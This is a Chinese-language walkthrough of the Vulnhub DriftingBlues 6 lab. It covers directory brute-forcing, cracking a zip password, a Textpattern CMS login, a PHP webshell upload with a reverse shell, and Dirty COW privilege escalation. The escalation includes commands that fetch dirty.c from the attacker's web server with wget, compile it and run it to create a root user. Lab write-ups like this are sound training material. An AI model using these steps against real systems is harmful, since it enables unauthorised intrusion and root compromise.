Vulnhub靶机:driftingblues 6

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:driftingblues6(10.0.2.22)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/driftingblues-6,672/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.22

使用nmap端口扫描发现靶机开放端口:80

打开网站没有发现可以利用的功能点,查看源码未发现隐藏数据

使用dirsearch工具爆破目录

复制代码
dirsearch -u http://10.0.2.22/ 
复制代码
dirsearch -u http://10.0.2.22/textpattern/ 
复制代码
dirsearch -u http://10.0.2.22/textpattern/textpattern/

访问/robots.txt

复制代码
User-agent: *
Disallow: /textpattern/textpattern

dont forget to add .zip extension to your dir-brute
;)

访问/textpattern/README可以看到该网站为Textpattern CMS版本为4.8.3

根据提示使用dirbuster工具进行目录爆破,爆破.zip


获取爆破得到的zip文件,解压,发现需要输入密码

使用fcrackzip工具进行暴力破解,得到密码:myspace4

复制代码
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u spammer.zip 

将压缩文件解压,得到用户名密码:mayer:lionheart

尝试登录网站,登录成功


三、漏洞利用

登录网站,查看网站各个功能点,发现存在文件上传功能,直接上传php webshell,上传成功

查看之前爆破的目录,有一个/textpattern/files/上传的webshell就放在在里面

直接访问webshell,反弹shell成功

四、提权

获取交互式shell

复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

查看靶机系统内核版本uname -a,发现版本为:Linux 3.2.0-4

并且发现该靶机存在gcc环境which gcc

可以使用脏牛漏洞,该漏洞影响 Linux 2.6.22 版本至 4.6 版本的所有 Linux 系统。

在主机开启web服务,并在靶机下载提权脚本

复制代码
攻击机:
service apache2 start     

靶机:
wget http://10.0.2.15/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

创建一个具有root权限的用户firefart,密码为你自己设置的密码:firefart\root

切换为firefart用户

获取flag,只发现了一个flag

相关推荐
longerxin20201 天前
在 Linux 上使用 SCP 将文件传输到 Windows(已开启 SSH)
linux·运维·ssh
王正南1 天前
kali-linux 虚拟机连接安卓模拟器
android·linux·运维·虚拟机连接模拟器·安卓模拟器,linux虚拟机
吳所畏惧1 天前
Linux环境/麒麟V10SP3下离线安装Redis、修改默认密码并设置Redis开机自启动
linux·运维·服务器·redis·中间件·架构·ssh
yueguangni1 天前
sysstat 版本 10.1.5 是 CentOS 7 的默认版本,默认情况下确实不显示 %wait 字段。需要升级到新版sysstat
linux·运维·centos
萧曵 丶1 天前
Linux 业务场景常用命令详解
linux·运维·服务器
白帽子黑客罗哥1 天前
不同就业方向(如AI、网络安全、前端开发)的具体学习路径和技能要求是什么?
人工智能·学习·web安全
豆是浪个1 天前
Linux(Centos 7.6)命令详解:ps
linux·windows·centos
乾元1 天前
ISP 级别的异常洪泛检测与防护——大流量事件的 AI 自动识别与响应工程
运维·网络·人工智能·安全·web安全·架构
Run_Teenage1 天前
Linux:深刻理解缓冲区
linux
youxiao_901 天前
kubernetes 概念与安装(一)
linux·运维·服务器